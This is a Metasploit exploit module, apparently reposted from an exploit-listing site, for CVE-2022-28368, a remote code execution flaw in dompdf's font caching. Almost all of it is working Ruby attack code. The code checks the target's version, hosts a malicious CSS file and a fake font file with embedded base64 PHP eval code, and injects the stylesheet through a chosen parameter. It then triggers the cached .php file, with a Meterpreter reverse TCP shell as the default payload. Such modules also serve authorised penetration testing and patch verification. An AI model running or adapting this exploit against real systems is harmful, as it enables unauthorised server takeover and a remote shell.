Share
## https://sploitus.com/exploit?id=PACKETSTORM:221743
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpServer
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::FileDropper
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Dompdf RCE via Malicious Font Caching (CVE-2022-28368)',
            'Description' => %q{
              This module exploits CVE-2022-28368, a Remote Code Execution vulnerability
              in dompdf versions prior to 1.2.1. The vulnerability exists because dompdf
              preserves the original file extension when caching fonts downloaded via CSS
              @font-face rules. By pointing a @font-face src to a .php file containing a
              valid TrueType font header with embedded PHP code, the file is saved in the
              dompdf font cache (lib/fonts/) with its .php extension intact. The cached
              file can then be executed by directly requesting it from the web server.
    
              For dompdf versions <= 0.8.5, remote font loading works regardless of the
              $isRemoteEnabled setting. For versions 0.8.6 through 1.2.0, the
              $isRemoteEnabled option must be set to true.
    
              This module requires the ability to inject HTML/CSS into the data processed
              by dompdf (e.g., via an XSS, a user-controlled form field, or a direct
              parameter) and that the dompdf font cache directory is web-accessible.
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'Maximilian Kirchmeier',   # Vulnerability discovery (Positive Security)
              'Fabian BrΓ€unlein',        # Vulnerability discovery (Positive Security)
              'rvizx',                   # PoC exploit
              'msutovsky-r7',            # Metasploit module final
              'Adithya Pawar'            # Metasploit module init
            ],
            'References' => [
              ['CVE', '2022-28368'],
              ['GHSA', '56gj-mvh6-rp75'],
              ['URL', 'https://positive.security/blog/dompdf-rce'],
              ['URL', 'https://github.com/rvizx/CVE-2022-28368']
            ],
            'Targets' => [
              [
                'PHP',
                {
                  'Platform' => ['php'],
                  'Arch' => ARCH_PHP,
                  'Type' => :php,
                  'DefaultOptions' => {
                    'PAYLOAD' => 'php/meterpreter/reverse_tcp'
                  }
                }
              ]
            ],
            'DisclosureDate' => '2022-04-05',
            'DefaultTarget' => 0,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
            }
          )
        )
    
        register_options(
          [
            OptString.new('DOMPDF_PATH', [true, 'Web-accessible path to the dompdf installation', '/dompdf']),
            OptString.new('INJECT_PARAMETER', [true, 'The parameter allowing to inject custom CSS', '']),
          ]
        )
      end
    
      FONT_HEADER = "\x00\x01\x00\x00\x00\x0F\x00\x80\x00\x03\x00\x70\x44\x53\x49\x47" \
                "\x00\x00\x00\x01\x00\x00\x75\xE0\x00\x00\x00\x08\x47\x44\x45\x46" \
                "\x00\x10\x00\xC7\x00\x00\x75\xE8\x00\x00\x00\x16\x47\x50\x4F\x53" \
                "\x6C\x91\x74\x8F\x00\x00\x76\x00\x00\x00\x00\x20\x47\x53\x55\x42" \
                "\xE0\x34\xE1\xE2\x00\x00\x76\x20\x00\x00\x00\x46\x4F\x53\x2F\x32" \
                "\x34\xF4\x4A\xE2\x00\x00\x01\x78\x00\x00\x00\x60\x63\x6D\x61\x70" \
                "\x65\xE2\xC8\xD2\x00\x00\x04\xF4\x00\x00\x02\x26\x67\x61\x73\x70" \
                "\xFF\xFF\x00\x03\x00\x00\x75\xD8\x00\x00\x00\x08\x67\x6C\x79\x66" \
                "\x1D\x57\xEE\x42\x00\x00\x08\xAC\x00\x00\x68\x6C\x68\x65\x61\x64" \
                "\x1C\x59\xE0\x33\x00\x00\x00\xFC\x00\x00\x00\x36\x68\x68\x65\x61" \
                "\x08\x66\x02\xF8\x00\x00\x01\x34\x00\x00\x00\x24\x68\x6D\x74\x78" \
                "\x2C\xBF\xFF\xD3\x00\x00\x01\xD8\x00\x00\x03\x1C\x6C\x6F\x63\x61" \
                "\x72\xA0\x8C\x94\x00\x00\x07\x1C\x00\x00\x01\x90\x6D\x61\x78\x70" \
                "\x00\xD5\x01\x87\x00\x00\x01\x58\x00\x00\x00\x20\x6E\x61\x6D\x65" \
                "\x3D\x94\x69\x86\x00\x00\x71\x18\x00\x00\x02\xE4\x70\x6F\x73\x74" \
                "\x4C\x60\x52\x7C\x00\x00\x73\xFC\x00\x00\x01\xD9\x00\x01\x00\x00" \
                "\x00\x01\x00\x00\x7C\x16\x35\xE6\x5F\x0F\x3C\xF5\x00\x0B\x03\xE8" \
                "\x00\x00\x00\x00\xD7\x8F\x89\xE0\x00\x00\x00\x00\xE1\xCB\x12\x5C" \
                "\xFF\x74\xFE\x93\x04\x6D\x04\x81\x00\x00\x00\x06\x00\x01\x00\x00" \
                "\x00\x00".b.freeze
    
      def check
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => normalize_uri(datastore['DOMPDF_PATH'], 'lib', 'fonts', 'dompdf_font_family_cache.php')
        )
    
        return Exploit::CheckCode::Safe('The target is not running DOMPDF') unless res&.code == 200
    
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => normalize_uri(datastore['DOMPDF_PATH'], 'VERSION')
        )
    
        return Exploit::CheckCode::Safe('The target is not running DOMPDF') unless res&.code == 200
    
        version = Rex::Version.new(res.body.strip)
    
        return Exploit::CheckCode::Appears("The vulnerable version of DOMPDF #{version} detected") if version <= Rex::Version.new('1.2.0')
    
        Exploit::CheckCode::Safe("The DOMPDF detected, but it's running patched version")
      end
    
      def on_request_uri(cli, request)
        css_payload = %<
        @font-face {
        font-family:'#{@font_family_name}';
        src:url('#{@malicious_font_uri}');
        font-weight:'normal';
        font-style:'normal';
      }
      >
        font_payload = FONT_HEADER + %<\n<?php eval(base64_decode("#{Rex::Text.encode_base64(payload.encoded)}")) ?>>
        case request.uri
        when "/#{@css_name}"
          print_status('Serving exploit CSS file to dompdf...')
          send_response(cli, css_payload, {
            'Content-Type' => 'text/css'
          })
        when "/#{@font_name}"
          print_status('Serving font TTF file to dompdf...')
          send_response(cli, font_payload, {
            'Content-Type' => 'application/octet-stream'
          })
        else
          print_error("Unexpected request: #{request.uri}")
          send_not_found(cli)
        end
      end
    
      def send_payload
        param_name = datastore['INJECT_PARAMETER']
    
        res = send_request_cgi({
          'uri' => normalize_uri(datastore['URIPATH']),
          'method' => 'GET',
          'vars_get' =>
          {
            'pdf' => nil,
            param_name => %(<link rel=stylesheet href='#{@malicious_css_uri}'>)
          }
        })
        return true if res&.code == 200
    
        res = send_request_cgi({
          'uri' => normalize_uri(datastore['URIPATH']),
          'method' => 'POST',
          'vars_post' => {
            param_name => %(<link rel=stylesheet href='#{@malicious_css_uri}'>)
          }
        })
    
        return true if res&.code == 200
    
        res = send_request_cgi({
          'uri' => normalize_uri(datastore['URIPATH']),
          'method' => 'POST',
          'ctype' => 'application/json',
          'data' => {
            param_name => %(<link rel=stylesheet href='#{@malicious_css_uri}'>)
          }.to_json
        })
    
        return true if res&.code == 200
    
        false
      end
    
      def trigger_payload
        send_request_cgi({
          'uri' => normalize_uri(datastore['DOMPDF_PATH'], 'lib', 'fonts', "#{@font_family_name.downcase}_normal_#{Rex::Text.md5(@malicious_font_uri)}.php"),
          'method' => 'GET'
        })
      end
    
      def load_malicious_font
        @font_name = "#{Rex::Text.rand_text_alpha(8)}.php"
        @css_name = "#{Rex::Text.rand_text_alpha(8)}.css"
        @font_family_name = Rex::Text.rand_text_alpha(8)
        binding_ip = srvhost_addr
    
        proto = datastore['SSL'] ? 'https' : 'http'
        @malicious_css_uri = "#{proto}://#{binding_ip}:#{datastore['SRVPORT']}/#{@css_name}"
        @malicious_font_uri = "#{proto}://#{binding_ip}:#{datastore['SRVPORT']}/#{@font_name}"
    
        fail_with(Failure::PayloadFailed, 'Failed to load malicious font') unless send_payload
      end
    
      def exploit
        start_service({
          'Uri' => {
            'Proc' => proc do |cli, req|
              on_request_uri(cli, req)
            end,
            'Path' => '/'
          }
        })
        load_malicious_font
    
        register_file_for_cleanup("#{@font_family_name.downcase}_normal_#{Rex::Text.md5(@malicious_font_uri)}.php")
    
        trigger_payload
      end
    end